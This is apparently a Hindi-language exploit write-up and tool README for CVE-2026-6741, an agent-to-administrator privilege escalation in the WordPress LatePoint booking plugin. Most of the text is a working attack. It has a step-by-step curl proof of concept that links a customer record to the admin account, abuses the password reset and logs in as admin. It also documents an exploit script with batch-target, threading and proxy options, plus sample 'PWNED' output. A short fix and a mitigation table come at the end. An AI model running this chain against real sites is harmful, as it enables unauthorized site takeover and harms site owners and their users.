
CVE-2026-6741 LatePoint – Calendar Booking प्लगइन में CVSS 8.8 (उच्च) प्रमाणित (एजेंट+) विशेषाधिकार वृद्धि कमजोरी है
CVE-2026-6741, CVSS 8.8 (उच्च) स्तर की एक प्रमाणित (एजेंट+) विशेषाधिकार वृद्धि (प्रिविलेज एस्केलेशन) भेद्यता है, जो LatePoint – कैलेंडर बुकिंग प्लगइन में पाई गई है।
प्लगइन: LatePoint – कैलेंडर बुकिंग प्लगइन फॉर अपॉइंटमेंट्स एंड इवेंट्स (
latepoint) CVE ID: CVE-2026-6741 CVSS स्कोर: 8.8 (उच्च) CVSS वेक्टर:CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:Hभेद्यता प्रकार: प्रमाणित (एजेंट+) विशेषाधिकार वृद्धि → एडमिनिस्ट्रेटर अधिग्रहण प्रभावित संस्करण: <= 5.4.1 पैचयुक्त संस्करण: 5.4.2 प्रकाशन तिथि: 27 अप्रैल 2026 शोधकर्ता: skyv3il (AI SAFE), Chirita Catalin-Andrei / CC99IE (UVT-CTF), AmonRa — Wordfence
latepoint_agent भूमिका वाला एक प्रमाणित हमलावर,
किसी भी LatePoint ग्राहक रिकॉर्ड को WordPress व्यवस्थापक खाते से
जोड़ सकता है और फिर LatePoint के स्वयं के पासवर्ड रीसेट प्रवाह का उपयोग करके
व्यवस्थापक का पासवर्ड बदल सकता है।
इसका परिणाम पूर्ण साइट अधिग्रहण होता है।
LatePoint 5.3.0 ने WordPress 6.9+ के साथ आने वाले Abilities API समर्थन को जोड़ा। यह API प्लगइन्स को REST API पर कॉल करने योग्य "ability" वर्गों को पंजीकृत करने की अनुमति देता है:
// latepoint.php (5.4.1, line 907)
if ( function_exists( 'wp_register_ability' ) ) {
include_once LATEPOINT_ABSPATH . 'lib/abilities/class-latepoint-abilities.php';
}
// lib/abilities/customers/connect-customer-to-wp-user.php — line 12
protected function configure(): void {
$this->id = 'latepoint/connect-customer-to-wp-user';
$this->label = __( 'Connect customer to WP user', 'latepoint' );
$this->permission = 'customer__edit'; // ← एकमात्र नियंत्रण: यह क्षमता
}
एजेंट भूमिका में डिफ़ॉल्ट रूप से customer__edit क्षमता होती है:
// lib/helpers/roles_helper.php — line 401
public static function get_default_capabilities_list_for_agent_role() {
$capabilities = [
...
'customer__edit', // ← एजेंट के पास यह क्षमता है
...
];
}
// connect-customer-to-wp-user.php — lines 39–60
public function execute( array $args ) {
$customer = new OsCustomerModel( (int) $args['customer_id'] );
$wp_user_id = (int) $args['wp_user_id'];
if ( ! get_userdata( $wp_user_id ) ) {
// केवल उपयोगकर्ता के अस्तित्व की जाँच की जा रही है
// लापता: लक्ष्य उपयोगकर्ता की भूमिका की जाँच नहीं की गई
return new WP_Error( 'wp_user_not_found', ... );
}
$customer->wordpress_user_id = $wp_user_id; // ← किसी भी WP उपयोगकर्ता से जोड़ें
$customer->save();
return $this->serialize_customer( ... );
}
// lib/models/customer_model.php — line 315
public function update_password( $password ) {
if ( OsAuthHelper::can_wp_users_login_as_customers()
&& $this->wordpress_user_id ) {
wp_set_password( $password, $this->wordpress_user_id );
// ↑ wordpress_user_id अब व्यवस्थापक आईडी है → व्यवस्थापक का पासवर्ड बदल जाता है
}
}
// LatePointAbstractAbility — check_permission()
public function check_permission(): bool {
return OsRolesHelper::can_user( $this->permission );
// केवल कॉल करने वाले की क्षमता की जाँच करता है
// लक्ष्य उपयोगकर्ता की भूमिका की जाँच नहीं करता
}
latepoint_agent खाता
│
▼
1. एजेंट के रूप में WP में लॉगिन करें → REST nonce प्राप्त करें
│
▼
2. लक्ष्य व्यवस्थापक WordPress उपयोगकर्ता आईडी पता करें
(wp-json/wp/v2/users या ID=1)
│
▼
3. POST /wp-json/wp/v2/abilities/latepoint/connect-customer-to-wp-user
{ "customer_id": 5, "wp_user_id": 1 }
→ भूमिका जांच नहीं → सफल
│
▼
4. LatePoint forgot_password → ग्राहक ईमेल पर रीसेट टोकन भेजें
│
▼
5. टोकन के साथ change_password → update_password() कॉल होता है
→ wp_set_password("Hacked!", 1)
→ व्यवस्थापक पासवर्ड बदल गया
│
▼
6. नए पासवर्ड से व्यवस्थापक के रूप में लॉगिन → पूर्ण साइट नियंत्रण ✓
⚠️ अस्वीकरण: यह PoC केवल शैक्षिक और रक्षात्मक सुरक्षा अनुसंधान उद्देश्यों के लिए प्रदान किया गया है।
पूर्व शर्तें:
latepoint_agent भूमिका वाला खाताWP_URL="https://target.example.com"
AGENT_USER="agent_user"
AGENT_PASS="agent_password"
# कुकी-आधारित सत्र खोलें
curl -c cookies.txt -b cookies.txt -s -X POST "$WP_URL/wp-login.php" \
-d "log=$AGENT_USER&pwd=$AGENT_PASS&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1" \
-H "Cookie: wordpress_test_cookie=WP+Cookie+check"
# REST nonce प्राप्त करें
NONCE=$(curl -s -b cookies.txt \
"$WP_URL/wp-admin/admin-ajax.php?action=rest-nonce")
echo "Nonce: $NONCE"
# REST API से व्यवस्थापक उपयोगकर्ताओं की सूची प्राप्त करें
curl -s "$WP_URL/wp-json/wp/v2/users?roles=administrator" \
-H "X-WP-Nonce: $NONCE" | python3 -m json.tool
ADMIN_WP_USER_ID=1 # सामान्यतः ID=1
CUSTOMER_ID=5 # आपके नियंत्रण वाली LatePoint ग्राहक आईडी
curl -s -b cookies.txt -X POST \
"$WP_URL/wp-json/wp/v2/abilities/latepoint/connect-customer-to-wp-user" \
-H "Content-Type: application/json" \
-H "X-WP-Nonce: $NONCE" \
-d "{\"customer_id\": $CUSTOMER_ID, \"wp_user_id\": $ADMIN_WP_USER_ID}"
अपेक्षित प्रतिक्रिया:
{
"id": 5,
"wp_user_id": 1,
"email": "[email protected]"
}
CUSTOMER_EMAIL="[email protected]"
curl -s -X POST \
"$WP_URL/?latepoint_route=customer_cabinet%2Fforgot_password" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "password_reset_email=$CUSTOMER_EMAIL"
LatePoint, $CUSTOMER_EMAIL पते पर account_nonce टोकन युक्त
एक रीसेट ईमेल भेजता है।
RESET_TOKEN="<ईमेल से प्राप्त टोकन>"
NEW_PASSWORD="Attacker_Password123!"
curl -s -X POST \
"$WP_URL/?latepoint_route=customer_cabinet%2Fchange_password" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "password_reset_token=$RESET_TOKEN&password=$NEW_PASSWORD&password_confirmation=$NEW_PASSWORD"
यह कॉल update_password() → wp_set_password($NEW_PASSWORD, 1) श्रृंखला को
सक्रिय करता है। व्यवस्थापक पासवर्ड बदल गया।
curl -c admin_cookies.txt -b admin_cookies.txt -s -X POST \
"$WP_URL/wp-login.php" \
-d "log=admin&pwd=$NEW_PASSWORD&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1" \
-H "Cookie: wordpress_test_cookie=WP+Cookie+check"
# wp-admin तक पहुंच
curl -b admin_cookies.txt "$WP_URL/wp-admin/user-new.php"
# अपेक्षित: 200 OK (wp-login.php पर रीडायरेक्ट नहीं)
# REST API से भूमिका सत्यापन
ADMIN_NONCE=$(curl -s -b admin_cookies.txt \
"$WP_URL/wp-admin/admin-ajax.php?action=rest-nonce")
curl -s "$WP_URL/wp-json/wp/v2/users/me" \
-H "X-WP-Nonce: $ADMIN_NONCE" | python3 -m json.tool
# अपेक्षित: "roles": ["administrator"]
git clone https://github.com/kullanici/cve-2026-6741-scanner
cd cve-2026-6741-scanner
pip install -r requirements.txt
requirements.txt
requests
python latepoint_privesc.py -u http://hedef.com \
--agent-user agent1 --agent-pass Pass123!
python latepoint_privesc.py -u http://hedef.com \
--agent-user agent1 --agent-pass Pass123! \
--admin-id 1 \
--customer-id 5 \
--customer-email [email protected]
python latepoint_privesc.py -u http://hedef.com \
--agent-user agent1 --agent-pass Pass123! \
--admin-id 1 \
--customer-id 5 \
--customer-email [email protected] \
--reset-token abc123xyz \
--new-password Hacked_2026!
python latepoint_privesc.py -l targets.txt -t 10 \
--agent-user agent1 --agent-pass Pass123! \
-o sonuclar.txt
python latepoint_privesc.py -u http://hedef.com \
--agent-user agent1 --agent-pass Pass123! \
--proxy http://127.0.0.1:8080
| पैरामीटर | विवरण |
|---|---|
--agent-user | एजेंट उपयोगकर्ता नाम (अनिवार्य) |
--agent-pass | एजेंट पासवर्ड (अनिवार्य) |
| पैरामीटर | विवरण | डिफ़ॉल्ट |
|---|---|---|
--admin-id | लक्ष्य व्यवस्थापक WP उपयोगकर्ता आईडी |
| पैरामीटर | विवरण | डिफ़ॉल्ट |
|---|---|---|
--reset-token | ईमेल से प्राप्त रीसेट टोकन | — |
--new-password | नया व्यवस्थापक पासवर्ड | Pwned_CVE2026_6741! |
[*] लक्ष्य : http://hedef.com
[*] एजेंट : agent1
[*] व्यवस्थापक आईडी : स्वचालित पता लगाना
[*] ग्राहक आईडी : स्वचालित पता लगाना
[*] रीसेट टोकन : ईमेल की प्रतीक्षा है
[*] नया पासवर्ड : Pwned_CVE2026_6741!
[→] http://hedef.com चरण 1/6: एजेंट लॉगिन...
[→] http://hedef.com चरण 2/6: व्यवस्थापक उपयोगकर्ता आईडी पता लगाना...
[→] http://hedef.com चरण 3/6: ग्राहक आईडी पता लगाना...
[→] http://hedef.com चरण 4/6: ग्राहक #5 → व्यवस्थापक #1 जोड़ा जा रहा है...
[→] http://hedef.com चरण 5/6: पासवर्ड रीसेट शुरू किया जा रहा है...
[→] http://hedef.com चरण 6/6: पासवर्ड बदला जा रहा है (मैन्युअल टोकन)...
════════════════════════════════════════════════════════════
[★ PWNED ] http://hedef.com
संस्करण : 5.4.1
व्यवस्थापक आईडी : 1
ग्राहक : #5 <[email protected]>
उपयोगकर्ता : admin roles=['administrator']
════════════════════════════════════════════════════════════
[+] सहेजा गया → privesc_results.txt
┌─────────────────────────────────────────────────────────┐
│ चरण 1 — जोड़ें + रीसेट ईमेल भेजें │
│ │
│ python latepoint_privesc.py -u http://hedef.com \ │
│ --agent-user agent1 --agent-pass Pass123! \ │
│ --customer-id 5 --customer-email [email protected] │
│ │
│ → आउटपुट: "रीसेट ईमेल भेजा गया — टोकन की प्रतीक्षा है" │
└─────────────────────────┬───────────────────────────────┘
│
ईमेल से टोकन प्राप्त करें
│
┌─────────────────────────▼───────────────────────────────┐
│ चरण 2 — टोकन के साथ पासवर्ड बदलें │
│ │
│ python latepoint_privesc.py -u http://hedef.com \ │
│ --agent-user agent1 --agent-pass Pass123! \ │
│ --customer-id 5 --customer-email [email protected] \ │
│ --reset-token abc123xyz \ │
│ --new-password Hacked_2026! │
│ │
│ → आउटपुट: ★ PWNED — roles=['administrator'] │
└─────────────────────────────────────────────────────────┘
सुरक्षित execute() उदाहरण:
// असुरक्षित (मौजूदा — 5.4.1)
if ( ! get_userdata( $wp_user_id ) ) {
return new WP_Error( 'wp_user_not_found', ... );
}
// सुरक्षित (अनुशंसित — 5.4.2+)
$target_user = get_userdata( $wp_user_id );
if ( ! $target_user ) {
return new WP_Error( 'wp_user_not_found', ... );
}
// लक्ष्य उपयोगकर्ता की भूमिका जाँचें
if ( in_array( 'administrator', (array) $target_user->roles ) ) {
return new WP_Error( 'forbidden', 'Cannot link customer to administrator.' );
}
cve-2026-6741-scanner/
├── latepoint_privesc.py # मुख्य स्कैनर
├── requirements.txt # निर्भरताएँ
└── README.md # यह फ़ाइल
यह उपकरण और PoC केवल अधिकृत प्रणालियों पर, शैक्षिक उद्देश्यों के लिए और पेनिट्रेशन टेस्टिंग के अंतर्गत उपयोग के लिए तैयार किया गया है। अनधिकृत प्रणालियों पर इसका उपयोग तुर्की दंड संहिता की धारा 243-245 और अंतरराष्ट्रीय साइबर अपराध कानूनों के अंतर्गत अपराध है। डेवलपर उपकरण के दुरुपयोग से उत्पन्न किसी भी कानूनी दायित्व को स्वीकार नहीं करता है।
MIT लाइसेंस — केवल शैक्षिक और अनुसंधान उद्देश्यों के लिए।
| क्षेत्र | मान |
|---|
| प्लगइन नाम | LatePoint – कैलेंडर बुकिंग प्लगइन |
| प्लगइन स्लग | latepoint |
| CVE ID | CVE-2026-6741 |
| CVSS स्कोर | 8.8 (उच्च) |
| भेद्यता प्रकार | प्रमाणित (एजेंट+) विशेषाधिकार वृद्धि |
| प्रभावित संस्करण | <= 5.4.1 |
| पैचयुक्त संस्करण | 5.4.2 |
| आवश्यकता | latepoint_agent भूमिका, WordPress 6.9+ |
| पैरामीटर | लघु | विवरण | डिफ़ॉल्ट |
|---|
--url | -u | एकल लक्ष्य URL | — |
--list | -l | लक्ष्य सूची फ़ाइल | — |
--threads | -t | थ्रेड्स की संख्या | 5 |
--output | -o | आउटपुट फ़ाइल | privesc_results.txt |
--proxy | — | प्रॉक्सी URL | — |
--timeout | — | अनुरोध टाइमआउट (सेकंड) | 10 |
--force | — | Abilities API का पता विफल होने पर भी जारी रखें | False |
| स्वचालित पता लगाना |
--customer-id | नियंत्रित LatePoint ग्राहक आईडी | स्वचालित पता लगाना |
--customer-email | LatePoint ग्राहक ईमेल पता | एजेंट ईमेल |
| स्थिति | विवरण |
|---|
★ PWNED | व्यवस्थापक पासवर्ड बदल गया, सत्र खुल गया |
~ RESET_SENT | रीसेट ईमेल भेजा गया — टोकन की प्रतीक्षा है |
~ PWD_CHANGE | पासवर्ड बदल गया — व्यवस्थापक लॉगिन मैन्युअल रूप से सत्यापित करें |
- LINK_FAIL | ग्राहक-व्यवस्थापक जुड़ाव विफल |
- LOGIN_FAIL | एजेंट लॉगिन विफल |
- NO_PLUGIN | LatePoint स्थापित नहीं |
- NO_ABILITY | Abilities API बंद है (WP 6.9+ आवश्यक) |
~ NO_CUST | ग्राहक आईडी नहीं मिली — मैन्युअल रूप से निर्दिष्ट करें |
~ UNREACH | लक्ष्य तक नहीं पहुँचा जा सकता |
| उपाय | कार्यान्वयन |
|---|
| प्लगइन अपडेट | LatePoint 5.4.2+ संस्करण में अपग्रेड करें |
| भूमिका जाँच जोड़ें | execute() में लक्ष्य उपयोगकर्ता की भूमिका सत्यापित करें |
| Abilities API प्रतिबंधित करें | एजेंट भूमिका से connect-customer-to-wp-user क्षमता हटाएँ |
| पासवर्ड रीसेट सुरक्षा | व्यवस्थापक खातों के लिए LatePoint रीसेट प्रवाह अक्षम करें |
| WP 6.9 Abilities ऑडिट | पंजीकृत क्षमताओं की नियमित समीक्षा करें |